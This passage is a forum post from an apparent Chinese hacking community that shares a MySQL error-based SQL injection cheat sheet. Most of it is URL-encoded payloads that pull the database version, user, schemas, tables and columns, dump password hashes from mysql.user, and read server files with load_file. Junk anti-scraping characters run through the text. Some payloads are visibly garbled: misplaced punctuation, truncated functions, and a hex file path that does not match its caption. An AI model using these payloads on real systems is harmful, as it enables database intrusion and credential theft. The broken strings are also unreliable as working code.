找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2382|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
5 k7 h2 X- k- Z2 u/ L9 G" l2 x& H# F7 X4 k$ G0 m
4 I* D. W; ~+ q$ O- m6 \
Mysql暴错注入参考(pdf),每天一贴。。。
, l/ [" H, r/ I+ a0 C% ^% O  D1 b9 X
MySql Error Based Injection Reference8 r6 [9 W9 A, s$ B" h
[Mysql暴错注入参考]% p2 Z3 v% n7 k; A1 {
Authornig0s1992
/ v. W1 q% i0 ?7 R6 k  x+ C/ ~Blog:http://pnig0s1992.blog.51cto.com/7 S; k  Y% p# u. @( y
TeAm:http://www.FreeBuf.com/
8 ~% v' K8 I2 h" c' g2 Q1 A% tMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 y  T3 k1 _* r& A) x* D小部分版本使用name_const()时会报错.可以用给出的Method.2测试' J$ G) D& g% D3 y
查询版本:6 Y* T8 O% [) H. S8 g
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: Z+ J. [; @* x+ F  j, Cjoin+(select+name_const(@@version,0))b)c)
5 Y! R6 ?6 n; P* x! g8 bMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
2 G3 C$ D$ i* Hup by a)b)
0 r& t% R. m0 H6 A9 R/ |查询当前用户:+ T) r0 ~1 x, ?, h2 ~" h) e
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( Z5 k; D5 [1 N6 C+ M. K2 }Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
4 e; H0 @' Y* b3 a9 _2 J7 \and(0)*2))x+from+information_schema.tables+group+by+x)a); _1 H9 }, D7 B+ c
查询当前数据库:3 I) I7 m/ @" d
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) M# ]: }$ w! U$ n9 lMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
- ?( D7 A9 q" Z/ N# M' Qor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
4 L+ ~6 C$ Z# j5 [) v7 U$ `依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+: S; e3 Y- R# s) y# Z6 _
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
- r) j  t* e$ T) Z顺序替换0 `7 C5 P* n% j: G* S: j& ?  U
爆指定库数目:/ h2 e: J! B3 N9 y/ R
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t. y- X( K" W8 @+ q) Z% [
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group4 N" ?9 P% t3 [" Z9 k
+by+x)a)+and+1=1 0x6D7973716C=mysql
7 ]6 a) f, Y& j# [2 i  v! s1 d! D依次爆表:
) N6 r% D- r. E) yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
( X- h) [, G) B5 w7 }: A7 Yable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta/ A- b" B+ c3 b* [5 C3 H
bles+group+by+x)a)+and+1=14 K) p+ [0 D) H, b- m
0x6D7973716C=Mysql 将n顺序替换0 W8 G6 T$ P% t
爆表内字段数目:
! c" E9 I, R- ^& B1 y1 `( G7 \and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
; ^+ B8 v' B# l8 h" Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran* ~/ ?9 d2 I2 A% z5 C7 E! \! u% p
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ B* n2 f* J7 q, n$ i依次爆字段:6 T5 f- _: N$ h$ Y- {
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where6 k5 X7 B) K/ k% Q! z$ ~& v
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
% V( P9 ~9 G$ T" w9 p+ _loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
7 M, V* ]' v7 J依次暴内容:
$ c3 P( D5 Q8 S, }* p, iand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
1 N  d0 J* P7 ]7 Qma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ C" \+ `: z' v8 N3 I- M将n顺序替换9 a3 g5 H1 {% V+ @
爆文件内容:5 ^1 w/ M, G% `1 S! @, l' y
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a5 m# X% g0 X1 T% O/ ^# G: v: e
from+information_schema.tables+group+by+a)b)
7 V8 x0 J2 r/ C2 b+ g0 n; Q8 c0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节' o, q( M! `. C6 u* {
Thx for reading.9 E# h0 H2 F- K" J/ d# Y
# H' W3 Z" h# H& e: \0 Q
不要下载也可以,
' O. B/ L( ]$ W3 m& O

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表